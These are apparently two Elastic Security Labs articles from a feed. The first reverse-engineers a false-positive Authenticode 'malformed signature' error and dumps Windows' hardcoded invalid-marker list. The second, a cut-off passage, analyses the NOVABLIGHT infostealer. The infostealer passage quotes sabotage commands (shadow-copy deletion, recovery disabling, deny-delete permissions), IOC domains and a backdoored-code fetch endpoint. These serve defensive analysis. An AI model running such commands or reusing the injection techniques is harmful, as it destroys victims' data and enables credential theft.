<p><img src="https://www.elastic.co/es/security-labs/assets/images/malformed-authenticode-signature/image2.png" alt="MS13-098 error" title="MS13-098 error" /></p>
<p>The <a href="https://learn.microsoft.com/en-us/security-updates/securitybulletins/2013/ms13-098">documentation for MS13-098</a> is vague, but it describes a potential vulnerability related to malformed Authenticode signatures. Nothing obvious had changed on our end that might explain this new error, so we needed to investigate the cause and resolve the issue.</p>
<p>While we identified that this issue was affecting one of our signed Windows binaries, it could impact any binary. We are publishing this research as a reference for anyone else who may encounter the same problem in the future.</p>
<h2>Diagnosis</h2>
<p>To investigate further, we created a basic test program that called the Windows <code>WinVerifyTrust</code> function against the problematic executable to manually validate the signature. This revealed that it was failing with the error code <code>TRUST_E_MALFORMED_SIGNATURE</code>.</p>
<p><code>WinVerifyTrust</code> is a complex function, but after attaching a debugger, we discovered that the error code was being set at the following point:</p>
<pre><code class="language-c">dwReserved1 = psSipSubjectInfo-&gt;dwReserved1;
if(!dwReserved1)
    goto LABEL_58;
v40 = I_GetRelaxedMarkerCheckFlags(a1, v22, (unsigned int *)&amp;pvData);
if(v40 &lt; 0)
    break;
if(!pvData)
    v42 = 0x80096011;    // TRUST_E_MALFORMED_SIGNATURE
</code></pre>
<p>As shown above, if <code>psSipSubjectInfo-&gt;dwReserved1</code> is not <code>0</code>, the code calls <code>I_GetRelaxedMarkerCheckFlags</code>. If this function returns no data, the code sets the <code>TRUST_E_MALFORMED_SIGNATURE</code> error and exits.</p>
<p>When stepping through the code with our problematic binary, we saw that <code>dwReserved1</code> was indeed set to <code>1</code>. Running the same test against a correctly signed binary, this value was always <code>0</code>, which skips the call to <code>I_GetRelaxedMarkerCheckFlags</code>.</p>
<p>Looking into <code>I_GetRelaxedMarkerCheckFlags</code>, we saw that it simply checks for the presence of a specific attribute: <code>1.3.6.1.4.1.311.2.6.1</code>. A quick online search turned up very little other than the fact that this object identifier (OID) is labeled as <code>SpcRelaxedPEMarkerCheck</code>.</p>
<pre><code class="language-c">__int64 __fastcall I_GetRelaxedMarkerCheckFlags(struct _CRYPT_PROVIDER_DATA *a1, DWORD a2, unsigned int *a3)
{
    unsigned int v4; // ebx
    CRYPT_PROVIDER_SGNR *ProvSignerFromChain; // rax
    PCRYPT_ATTRIBUTE Attribute; // rax
    signed int LastError; // eax
    DWORD pcbStructInfo; // [rsp+60h] [rbp+18h] BYREF

    pcbStructInfo = 4;
    v4 = 0;
    *a3 = 0;
    ProvSignerFromChain = WTHelperGetProvSignerFromChain(a1, a2, 0, 0);
    if(ProvSignerFromChain)
    {
        Attribute = CertFindAttribute(
            &quot;1.3.6.1.4.1.311.2.6.1&quot;,
            ProvSignerFromChain-&gt;psSigner-&gt;AuthAttrs.cAttr,
            ProvSignerFromChain-&gt;psSigner-&gt;AuthAttrs.rgAttr);
        if(Attribute)
        {
            if(!CryptDecodeObject(
                a1-&gt;dwEncoding,
                (LPCSTR)0x1B,
                Attribute-&gt;rgValue-&gt;pbData,
                Attribute-&gt;rgValue-&gt;cbData,
                0,
                a3,
                &amp;pcbStructInfo))
            {
                return HRESULT_FROM_WIN32(GetLastError());
            }
        }
    }

    return v4;
}
</code></pre>
<p>Our binary did not have this attribute, which caused the function to return no data and triggered the error. The function names reminded us of an optional parameter that we had previously seen in <code>signtool.exe</code>:</p>
<blockquote>
<p><code>/rmc</code> - Specifies signing a PE file with the relaxed marker check semantic. The flag is ignored for non-PE files. During verification, certain authenticated sections of the signature will bypass invalid PE markers check. This option should only be used after careful consideration and reviewing the details of MSRC case MS12-024 to ensure that no vulnerabilities are introduced.</p>
</blockquote>
<p>Based on our analysis, we suspected that re-signing the executable with the “relaxed marker check” flag (<code>/rmc</code>), and as expected, the signature was now valid.</p>
<h3>Root cause analysis</h3>
<p>While the workaround above resolved our immediate problem, it clearly wasn’t the root cause. We needed to investigate further to understand why the internal <code>dwReserved1</code> flag was set in the first place.</p>
<p>This field is part of the <code>SIP_SUBJECTINFO</code> structure, which is <a href="https://learn.microsoft.com/en-us/windows/win32/api/mssip/ns-mssip-sip_subjectinfo">documented on MSDN</a> - but unfortunately, it didn’t help much in this case:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/malformed-authenticode-signature/image3.png" alt="SIP_SUBJECTINFO structure comment" title="SIP_SUBJECTINFO structure comment" /></p>
<p>To find where this field was being set, we worked backwards and identified a point where <code>dwReserved1</code> was still <code>0</code> - i.e., before the flag had been set. We placed a hardware breakpoint (on write) on the <code>dwReserved1</code> field and resumed execution. The breakpoint was hit in the <code>SIPObjectPE_::GetMessageFromFile</code> function:</p>
<pre><code class="language-c">__int64 __fastcall SIPObjectPE_::GetMessageFromFile(
    SIPObjectPE_ *this,
    struct SIP_SUBJECTINFO_ *a2,
    struct _WIN_CERTIFICATE *a3,
    unsigned int a4,
    unsigned int *a5)
{
    __int64 v5; // rcx
    __int64 result; // rax
    DWORD v8; // [rsp+40h] [rbp+8h] BYREF

    v5 = *((_QWORD*)this + 1);
    v8 = 0;
    result = ImageGetCertificateDataEx(v5, a4, a3, a5, &amp;v8);
    if((_DWORD)result)
        a2-&gt;dwReserved1 = v8;

    return result;
}
</code></pre>
<p>This function calls the <code>ImageGetCertificateDataEx</code> API which is exported by <code>imagehlp.dll</code>. The value returned by the fifth parameter of this function is stored in <code>dwReserved1</code>. This value ultimately determines whether the PE is considered &quot;malformed&quot; in the manner we have been observing.</p>
<p>Unfortunately, <code>ImageGetCertificateDataEx</code> is undocumented on MSDN. However, an earlier variant, <code>ImageGetCertificateData</code>, <a href="https://learn.microsoft.com/en-us/windows/win32/api/imagehlp/nf-imagehlp-imagegetcertificatedata">is documented</a>:</p>
<pre><code class="language-c">BOOL IMAGEAPI ImageGetCertificateData(
  [in]      HANDLE            FileHandle,
  [in]      DWORD             CertificateIndex,
  [out]     LPWIN_CERTIFICATE Certificate,
  [in, out] PDWORD            RequiredLength
);
</code></pre>
<p>This function extracts the contents of the <code>IMAGE_DIRECTORY_ENTRY_SECURITY</code> directory from the PE headers. Manual analysis of the <code>ImageGetCertificateDataEx</code> function showed that the first four parameters match those of <code>ImageGetCertificateData</code>, but with one additional output parameter at the end.</p>
<p>We wrote a simple test program that allows us to call this function and perform checks against the unknown fifth parameter:</p>
<pre><code class="language-c">#include &lt;stdio.h&gt;
#include &lt;windows.h&gt;
#include &lt;imagehlp.h&gt;

int main()
{
    HANDLE hFile = NULL;
    DWORD dwCertLength = 0;
    WIN_CERTIFICATE *pCertData = NULL;
    DWORD dwUnknown = 0;
    BOOL (WINAPI *pImageGetCertificateDataEx)(HANDLE FileHandle, DWORD CertificateIndex, LPWIN_CERTIFICATE Certificate, PDWORD RequiredLength, DWORD *pdwUnknown);

    // open target executable
    hFile = CreateFileA(&quot;C:\\users\\matthew\\sample-executable.exe&quot;, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    if(hFile == INVALID_HANDLE_VALUE)
    {
        printf(&quot;Failed to open input file\n&quot;);
        return 1;
    }

    // locate ImageGetCertificateDataEx export in imagehlp.dll
    pImageGetCertificateDataEx = (BOOL(WINAPI*)(HANDLE,DWORD,LPWIN_CERTIFICATE,PDWORD,DWORD*))GetProcAddress(LoadLibraryA(&quot;imagehlp.dll&quot;), &quot;ImageGetCertificateDataEx&quot;);
    if(pImageGetCertificateDataEx == NULL)
    {
        printf(&quot;Failed to locate ImageGetCertificateDataEx\n&quot;);
        return 1;
    }

    // get required length
    dwCertLength = 0;
    if(pImageGetCertificateDataEx(hFile, 0, NULL, &amp;dwCertLength, &amp;dwUnknown) == 0)
    {
        if(GetLastError() != ERROR_INSUFFICIENT_BUFFER)
        {
            printf(&quot;ImageGetCertificateDataEx error (1)\n&quot;);
            return 1;
        }
    }

    // allocate data
    printf(&quot;Allocating %u bytes for certificate...\n&quot;, dwCertLength);
    pCertData = (WIN_CERTIFICATE*)malloc(dwCertLength);
    if(pCertData == NULL)
    {
        printf(&quot;Failed to allocate memory\n&quot;);
        return 1;
    }

    // read certificate data and dwUnknown flag
    if(pImageGetCertificateDataEx(hFile, 0, pCertData, &amp;dwCertLength, &amp;dwUnknown) == 0)
    {
        printf(&quot;ImageGetCertificateDataEx error (2)\n&quot;);
        return 1;
    }

    printf(&quot;Finished - dwUnknown: %u\n&quot;, dwUnknown);

    return 0;
}
</code></pre>
<p>Running this against a variety of executables confirmed our expectations: the unknown return value was <code>1</code> for our “broken” executable, and <code>0</code> for correctly signed binaries. This confirmed that the issue originated somewhere within the <code>ImageGetCertificateDataEx</code> function.</p>
<p>Further analysis of this function revealed that the unknown flag is being set by another internal function: <code>IsBufferCleanOfInvalidMarkers</code>.</p>
<pre><code class="language-c">...
if(!IsBufferCleanOfInvalidMarkers(v25, v15, pdwUnknown))
{
    LastError = GetLastError();
    if(!pdwUnknown)
        goto LABEL_34;
}
...
</code></pre>
<p>After cleaning up the <code>IsBufferCleanOfInvalidMarkers</code> function, we observed the following:</p>
<pre><code class="language-c">DWORD IsBufferCleanOfInvalidMarkers(BYTE *pData, DWORD dwLength, DWORD *pdwInvalidMarkerFound)
{
    if(!_InterlockedCompareExchange64(&amp;global_InvalidMarkerList, 0, 0))
        LoadInvalidMarkers();

    if(!RabinKarpFindPatternInBuffer(pData, dwLength, pdwInvalidMarkerFound))
        return 1;

    SetLastError(0x80096011); // TRUST_E_MALFORMED_SIGNATURE

    return 0;
}
</code></pre>
<p>This function loads a global list of &quot;invalid markers&quot; using <code>LoadInvalidMarkers</code>, if they are not already loaded. <code>imagehlp.dll</code> contains a hardcoded default list of markers, but also checks the registry for a user-defined list at the following path:</p>
<p><code>HKEY_LOCAL_MACHINE\Software\Microsoft\Cryptography\Wintrust\Config\PECertInvalidMarkers</code></p>
<p>This registry value does not appear to exist by default.</p>
<p>The function then performs a search across the entire PE signature data, looking for any of these markers. If a match is found, <code>pdwInvalidMarkerFound</code> is set to <code>1</code>, which maps directly to the <code>psSipSubjectInfo-&gt;dwReserved1</code> value mentioned earlier.</p>
<h3>Dumping the invalid markers</h3>
<p>The markers are stored in an undocumented structure inside <code>imagehlp.dll</code>. After reverse-engineering the <code>RabinKarpFindPatternInBuffer</code> function noted above, we wrote a small tool to dump the entire list of markers:</p>
<pre><code class="language-c">#include &lt;stdio.h&gt;
#include &lt;windows.h&gt;

int main()
{
    HMODULE hModule = LoadLibraryA(&quot;imagehlp.dll&quot;);

    // hardcoded address - imagehlp.dll version:
    // 509ef25f9bac59ebf1c19ec141cb882e5c1a8cb61ac74a10a9f2bd43ed1f0585
    BYTE *pInvalidMarkerData = (BYTE*)hModule + 0xC4D8;

    BYTE *pEntryList = (BYTE*)*(DWORD64*)(pInvalidMarkerData + 20);
    DWORD dwEntryCount = *(DWORD*)pInvalidMarkerData;
    for(DWORD i = 0; i &lt; dwEntryCount; i++)
    {
        BYTE *pCurrEntry = pEntryList + (i * 18);
        BYTE bLength = *(BYTE*)(pCurrEntry + 9);
        BYTE *pString = (BYTE*)*(DWORD64*)(pCurrEntry + 10);
        for(DWORD ii = 0; ii &lt; bLength; ii++)
        {
            if(isprint(pString[ii]))
            {
                // printable character
                printf(&quot;%c&quot;, pString[ii]);
            }
            else
            {
                // non-printable character
                printf(&quot;\\x%02X&quot;, pString[ii]);
            }
        }
        printf(&quot;\n&quot;);
    }

    return 0;
}
</code></pre>
<p>This produced the following results:</p>
<pre><code>PK\x01\x02
PK\x05\x06
PK\x03\x04
PK\x07\x08
Rar!\x1A\x07\x00
z\xBC\xAF'\x1C
**ACE**
!&lt;arch&gt;\x0A
MSCF\x00\x00\x00\x00
\xEF\xBE\xAD\xDENull
Initializing Wise Installation Wizard
zlb\x1A
KGB_arch
KGB2\x00
KGB2\x01
ENC\x00
disk%i.pak
&gt;-\x1C\x0BxV4\x12
ISc(
Smart Install Maker
\xAE\x01NanoZip
;!@Install@
EGGA
ArC\x01
StuffIt!
-sqx-
PK\x09\x0A
&quot;\x0B\x01\x0B
-lh0-
-lh1-
-lh2-
-lh3-
-lh4-
-lh5-
-lh6-
-lh7-
-lh8-
-lh9-
-lha-
-lhb-
-lhc-
-lhd-
-lhe-
-lzs-
-lz2-
-lz3-
-lz4-
-lz5-
-lz7-
-lz8-
&lt;#$@@$#&gt;
</code></pre>
<p>As expected, this appears to be a list of magic values pertaining to old installers and compressed archive formats. This aligns with the description of <a href="https://learn.microsoft.com/en-us/security-updates/securitybulletins/2013/ms13-098">MS13-098</a>, which hints towards certain installers being affected.</p>
<p>We suspected this was related to self-extracting executables. If an executable reads itself from disk and scans its own data for an embedded archive (e.g., a ZIP file), an attacker could potentially append malicious data to the signature section without invalidating the signature - since signature data cannot hash itself. This could potentially cause the vulnerable executable to locate the malicious data before the original data, especially if it scans backwards from the end of the file.</p>
<p>We later found an old <a href="https://recon.cx/2012/schedule/events/246.en.html">RECon talk from 2012 by Igor Glücksmann</a>, which describes this exact scenario and appears to confirm our hypothesis.</p>
<p>Microsoft's fix involved scanning the PE signature block for known byte patterns that could indicate this type of abuse.</p>
<h3>Investigating the false positive</h3>
<p>Upon further debugging, we discovered that the binary was being flagged due to the signature data containing the <code>EGGA</code> marker from the list above:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/malformed-authenticode-signature/image1.png" alt="EGGA marker" title="EGGA marker" /></p>
<p>In the context of the list of markers above, the <code>EGGA</code> signature appears to relate to a specific header value used by an archive format called <a href="http://justsolve.archiveteam.org/wiki/EGG_(ALZip)">ALZip</a>. Our code does not make any use of this file format.</p>
<p>Microsoft’s heuristic treated the presence of <code>EGGA</code> as evidence that malicious archive data had been embedded in the PE signature. In practice, nothing of the sort was present. The signature block itself happened to include those four bytes as part of the hashed data.</p>
<p>Collisions like this are unusual, but page hashing (<code>/ph</code>) made it more likely. By expanding the size of the signature block, page hashing increases the surface area for coincidental matches and increases the likelihood of triggering the heuristic.</p>
<p>The binary didn’t contain any self-extracting routines, so the hit on <code>EGGA</code> was a false positive. In that context, the warning had no bearing on the file’s integrity. This meant it was safe to re-sign the file with <code>/rmc</code> to restore the expected validation.</p>
<h3>Conclusion</h3>
<p>It is well known that additional data can be embedded in a PE file without breaking its signature by appending it to the security block. Even some <a href="https://learn.microsoft.com/en-us/archive/blogs/ieinternals/caveats-for-authenticode-code-signing">legitimate software products</a> take advantage of this to embed user-specific metadata into signed executables. However, we were not aware that Microsoft had implemented heuristics to detect specific malicious cases of this, even though they were introduced back in 2012.</p>
<p>The original error message was very vague, and we were unable to find any documentation or references online that helped explain the behavior. Even searching for the associated registry value after discovering it (<code>PECertInvalidMarkers</code>) yielded zero results.</p>
<p>What we uncovered is that Microsoft added heuristic scanning of signature blocks more than a decade ago to counter specific abuse cases. Those heuristics reside in a hardcoded list of “invalid markers,” many of which are tied to outdated installers and archive formats. Our binary happened to collide with one of those markers when signed with page hashing enabled, creating a validation failure with no clear documentation and no public references to the underlying registry key or detection logic.</p>
<p>The absence of online discussions regarding this failure mode, aside from a single unresolved <a href="https://developercommunity.visualstudio.com/t/malformed-digital-signature-ms13-098-1/235599">Visual Studio Developer Community post from 2018</a>, made the initial diagnosis difficult. By publishing this analysis, we want to provide a technical reference point for others who may encounter the same problem. In our case, resolving the issue required deep troubleshooting that few outside this space would normally need to exercise. For teams automating code signing, the key lesson is to integrate signature validation checks early and be aware that heuristic marker detection can lead to edge-case failures.</p>
<h2>Additional references</h2>
<p>The author can be found on X at <a href="https://x.com/x86matthew">@x86matthew.</a></p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/malformed-authenticode-signature/malformed-authenticode-signature.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[MaaS Appeal: An Infostealer Rises From The Ashes]]></title>
            <link>https://www.elastic.co/es/security-labs/maas-appeal-an-infostealer-rises-from-the-ashes</link>
            <guid>maas-appeal-an-infostealer-rises-from-the-ashes</guid>
            <pubDate>Tue, 29 Jul 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[NOVABLIGHT is a NodeJS infostealer developed and sold as a MaaS offering; it is used primarily to steal credentials and compromise cryptowallets.]]></description>
            <content:encoded><![CDATA[<h2>NOVABLIGHT at a glance</h2>
<p>NOVABLIGHT is a NodeJS-based Malware-as-a-Service (MaaS) information stealer developed and sold by a threat group that demonstrates French-language proficiency. This is apparent in their discussions and operational communications on their primary sales and support platforms, Telegram and Discord.</p>
<p>Based on our analysis of the latest released version of NOVABLIGHT, the following code snippet suggests that the Sordeal Group, the group behind <a href="https://www.cyfirma.com/research/emerging-maas-operator-sordeal-releases-nova-infostealer/">Nova Sentinel and MALICORD</a>, is responsible for NOVABLIGHT as well.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image18.png" alt="Sordeal Group mentioned, followed by a link to the Telegram channel" /></p>
<h3>Key takeaways</h3>
<ul>
<li>NOVABLIGHT is an infostealer described as an educational tool, though Telegram channel messages reveal sensitive information and unredacted screenshots.</li>
<li>NOVABLIGHT licenses are valid for up to one year, and binaries can be generated via Telegram or Discord.</li>
<li>Heavily obfuscated code with many capabilities.</li>
</ul>
<h2>Discovery</h2>
<p>Elastic Security Labs identified multiple campaigns leveraging fake video game installer downloads as an initial access lure for MaaS infections of internet users. In one example, the URL <code>http://gonefishe[.]com</code> prompted the user to download a binary and install a French-language version of a game with a name and description comparable to one recently released on Steam.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image37.png" alt="Landing page for http://gonefishe . com" /></p>
<h2>Distribution, monetization, and community</h2>
<p>The group advertised and sold their product on various online platforms, previously Sellix and Sellpass and currently Billgang.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image27.png" alt="NOVABLIGHT’s product page on Billgang" /></p>
<p>The group sells an API key, which expires between 1 and 12 months. This key can then be used to build an instance of NOVABLIGHT through a Telegram bot or through Discord.</p>
<p>The group promotes a referral program on their Discord channel with API keys as rewards.</p>
<p>Users get access to a dashboard hosted by the group that presents the information collected from victims. The following domains were identified, though others may exist:</p>
<ul>
<li><code>api.nova-blight[.]top</code></li>
<li><code>shadow.nova-blight[.]top</code></li>
<li><code>nova-blight[.]site</code></li>
<li><code>nova-blight[.]xyz</code></li>
<li><code>bamboulacity.nova-blight[.]xyz</code></li>
</ul>
<p>Some of the images used in the dashboard panel are hosted in GitHub repositories associated with different accounts, which helped expose more details about the group.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image30.png" alt="HTTP response from https://shadow.nova-blight .top found in VirusTotal" /></p>
<p>The GitHub account <code>KSCHcuck1</code> is a pseudonym similar to that of the previous author of MALICORD, a free version of the earliest version of the stealer that was hosted on GitHub under the account <code>KSCH-58</code> (<a href="https://web.archive.org/web/20231216010712/https://github.com/KSCH-58">WEB ARCHIVE LINK</a>). The X account <code>@KSCH_dsc</code> also possessed similarities, and was actively advertising their &quot;best stealer ever released&quot; as recently as 2023.</p>
<p>The following GitHub accounts have been identified in relation to the group:</p>
<ul>
<li><a href="https://github.com/KSCHcuck1">https://github.com/KSCHcuck1</a></li>
<li><a href="https://github.com/CrackedProgramer412/caca">https://github.com/CrackedProgramer412/caca</a></li>
<li><a href="https://github.com/MYnva">https://github.com/MYnva</a></li>
<li><a href="https://github.com/404log">https://github.com/404log</a> (dead)</li>
</ul>
<p>Their public Telegram channel hosts tutorials and a community of users. In the following image capture, users are sharing screenshots of the build process.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image22.png" alt="User screenshots of building NOVABLIGHT" /></p>
<p>Users of the infostealer are openly sharing images of luxury items and money transfers, which is notable because NOVABLIGHT is described as being solely for educational purposes.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image23.png" alt="Image of phones a user of NOVABLIGHT claims to have purchased, shared via Telegram on May 15, 2025" /></p>
<h2>NOVABLIGHT analysis</h2>
<p>NOVABLIGHT is a modular and feature-rich information stealer built on NodeJS with the Electron framework. Its capabilities go beyond simple credential theft, incorporating methods for data collection and exfiltration, sandbox detection, and heavy obfuscation.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image16.png" alt="VirusTotal depicting low detection rate of NOVABLIGHT" /></p>
<p>A notable aspect of the malware's build process is its modular configuration. Although a customer can choose to disable specific features, the underlying code for those functions remains within the final payload; it is dormant and won’t be executed based on the build's configuration flags.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image25.png" alt="Wallet clipper logic can either be executed or not, based on the config field swapWallet.active" /></p>
<p>Code snippets in this report are from a non-obfuscated version 2.0 <a href="https://www.virustotal.com/gui/file/abc5a9605010890d7514f239e3defbbccecaeaf4cc2e2b7d54cdaaed88dd3766">sample</a>, when implementation details match version 2.2 samples, or from our manually de-obfuscated code of a version 2.2 <a href="https://www.virustotal.com/gui/file/1a2fc6ee9c48f35cff500d7a95f5d919f644d0eeb2980f9cdad4762c42b94afc/detection">sample</a> when they differ.</p>
<h3>Code structure</h3>
<p>From initial setup to data theft, the infostealer is organized into a clear, multi-stage pipeline managed by high-level &quot;flow&quot; controllers. The primary stages are:</p>
<ul>
<li><strong>flow/init:</strong> Pre-flight checks (running instances, admin privileges, internet connectivity), anti-analysis checks, system info enumeration, establish persistence, etc.</li>
<li><strong>flow/injecting:</strong> Application injection and patching (Atomic, Mullvad, Discord, …)</li>
<li><strong>flow/grabb</strong>: Data harvesting</li>
<li><strong>flow/ClipBoard</strong>: Clipboard hijacking</li>
<li><strong>flow/sending</strong>: Data exfiltration</li>
<li><strong>flow/disable</strong>: System sabotage (disable Windows Defender, system anti-reset, broken Internet connectivity, …)</li>
<li><strong>flow/cleaning:</strong> Post-exfiltration cleanup</li>
</ul>
<p>For more insights into the code structure, check out this GitHub <a href="https://gist.github.com/jiayuchann/b13ec30e72e69cb542e2e6d2e009c4a4">Gist</a>, which lists the direct dependencies for each of NOVABLIGHT’s core modules and execution flows.</p>
<h3>Anti-debug and sandbox detection</h3>
<p>NOVABLIGHT incorporates multiple techniques to detect and evade analysis environments, combining environment fingerprinting with active countermeasures. These checks include:</p>
<ul>
<li>Detecting VM-related GPU names (vmware, virtualbox, qemu)</li>
<li>Checking for blacklisted usernames (sandbox, test, malware)</li>
<li>Identifying VM-specific driver files (balloon.sys, qemu-ga)</li>
<li>Checking for low screen resolution and lack of USB devices</li>
<li>Querying GitHub for blacklists of IPs, HWIDs, usernames, programs, organizations, GPU names, PC names, and Operating Systems</li>
<li>Actively killing known analysis and debugging tools found in a remote list</li>
</ul>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image2.png" alt="Anti-debug and anti-VM checks" /></p>
<p>The blacklists are hosted on GitHub:</p>
<ul>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_ips.json">https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_ips.json</a></li>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_progr.json">https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_progr.json</a></li>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/refs/heads/main/json/blockedorg.json">https://raw.githubusercontent.com/Mynva/sub/refs/heads/main/json/blockedorg.json</a></li>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_GPUTYPE.json">https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_GPUTYPE.json</a></li>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/main/json/nope.json">https://raw.githubusercontent.com/Mynva/sub/main/json/nope.json</a></li>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_hwid.json">https://raw.githubusercontent.com/Mynva/sub/main/json/blocked_hwid.json</a></li>
<li><a href="https://raw.githubusercontent.com/Mynva/sub/main/json/blockedpcname.json">https://raw.githubusercontent.com/Mynva/sub/main/json/blockedpcname.json</a></li>
<li><a href="https://raw.githubusercontent.com/MYnva/sub/refs/heads/main/json/blockedOS.json">https://raw.githubusercontent.com/MYnva/sub/refs/heads/main/json/blockedOS.json</a></li>
</ul>
<h3>Disable Defender &amp; attempts to disable Task Manager</h3>
<p>NOVABLIGHT attempts to disable Windows Defender and related Windows security features by downloading and executing a batch script, <a href="https://raw.githubusercontent.com/ZygoteCode/WinDefendManager/refs/heads/main/Resources/DisableWD.bat">DisableWD.bat</a>, from a public GitHub repository.</p>
<p>The malware claims to be capable of disabling the Task Manager, making it difficult for a non-technical user to identify and terminate the malicious program. It uses <code>setValues</code> from the <code>regedit-rs</code> package to set the <code>DisableTaskMgr</code> value to <code>1</code> under <code>HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System</code>.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image20.png" alt="Disable Task Manager through the registry" /></p>
<p>However, looking at the <code>regedit-rs</code> <a href="https://github.com/Zagrios/regedit-rs/blob/4b7874eb6542cf162f62cf40719b44e69f086497/js-binding.js#L318">repo</a> (v1.0.3 to match), there are no exported functions named <code>setValues</code>, only <code>putValue</code>. This functionality may not work as intended.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image31.png" alt="Snippet of js-binding.js from the regedit-rs GitHub repo" /></p>
<h3>Disable internet access</h3>
<p>To disrupt the victim's internet connection, the malware employs two distinct methods. The first involves persistently disabling the Wi-Fi adapter by repeatedly resetting it in a rapid loop, utilizing the external npm package <a href="https://www.npmjs.com/package/wifi-control">wifi-control</a> and its <a href="https://github.com/msolters/wifi-control-node/blob/13d02226a3e6b12b48ebd063af2e7e3c97ef0abe/src/wifi-control.coffee#L293">resetWiFi</a> function.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image6.png" alt="Disable Wi-Fi adapter" /></p>
<p>The second method disables the primary “Ethernet” network adapter using the <code>netsh</code> command, running it every 5 seconds to disable re-enabling attempts.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image5.png" alt="Disable network adapter named “Ethernet”" /></p>
<h3>Defeat system recovery</h3>
<p>The malware can sabotage system recovery by disabling the Windows Recovery Environment (<code>reagentc /disable</code>) and deleting all Volume Shadow Copies (<code>vssadmin delete shadows /all</code>) when the <code>antireset</code> flag is enabled in the configuration.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image1.png" alt="Disable system restore" /></p>
<h3>Blocking file deletion</h3>
<p>Another system sabotage function that might be apparent to the victim involves making the malware’s own executable file undeletable by modifying its security permissions through <code>icacls “${filePath}” /deny ${currentUser}:(DE,DC)</code>  where <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/icacls">DE denies delete rights and DC prevents deletion</a> via the parent folder and optionally creating a pop-up message box containing a “troll” message.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image11.png" alt="Block current user from deleting the malware executable" /></p>
<p>Before locking itself, it also executes a PowerShell command to remove the victim’s account from the following system groups: <code>Administrators</code>, <code>Power Users</code>, <code>Remote Desktop Users</code>, <code>Administrateurs</code>.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image15.png" alt="Remove current user from Admin groups" /></p>
<h3>Clipboard address substitution</h3>
<p>The malware implements a &quot;clipper&quot; module that actively monitors the clipboard of the machine for any Crypto or Paypal addresses and replaces them with addresses defined in the configuration, if the user who built the payload did not provide their own addresses, the malware defaults to a hardcoded set, presumably controlled by the developers to capture funds from their less experienced users.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image13.png" alt="Fallback addresses are used if not specified in the config" /></p>
<h3>Electron application injections</h3>
<p>NOVABLIGHT can inject malicious code into several popular Electron-based applications. The payloads are dynamically fetched from the endpoint <code>https://api.nova-blight[.]top/injections/*targeted_application*/*some_key*</code>, targeting applications such as:</p>
<ul>
<li>Discord client</li>
<li>Exodus wallet</li>
<li>Mullvad VPN client</li>
<li>Atomic wallet</li>
<li>Mailspring email client</li>
</ul>
<p>We were able to retrieve all of the modules from a public GitHub <a href="https://github.com/CrackedProgramer412/caca/tree/main">repository</a>.</p>
<p>The injection implementation is a classic example of Electron App repacking: unpacking the ASAR file, rewriting any targeted source files, then repacking it. Looking at an example involving the Mullvad client, it first unpacks <code>Program Files\\Mullvad VPN\\resources\\app.asar</code> into a temporary directory, fetches a backdoored version of <code>account.js</code> from <code>https://api.nova-blight[.]top/injections/mullvad/dVukBEtL8rW2PDgkwdwfbNSdG3imwU8bZhYUygzthir66sXXUuyURunOin9s</code>, overwrites the source file <code>account.js</code>, and finally repacks it. While it might still work for older versions of Mullvad such as <a href="https://github.com/mullvad/mullvadvpn-app/releases/tag/2025.4">2025.4</a>, this does not seem to work on the latest version of Mullvad.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/image17.png" alt="Repacking the Mullvad client" /></p>
<p>In a similar case for the Exodus client, the NOVABLIGHT developers modified the setPassphrase function in the main module of the Exodus application, with additional credential-stealing functionalities.<br />
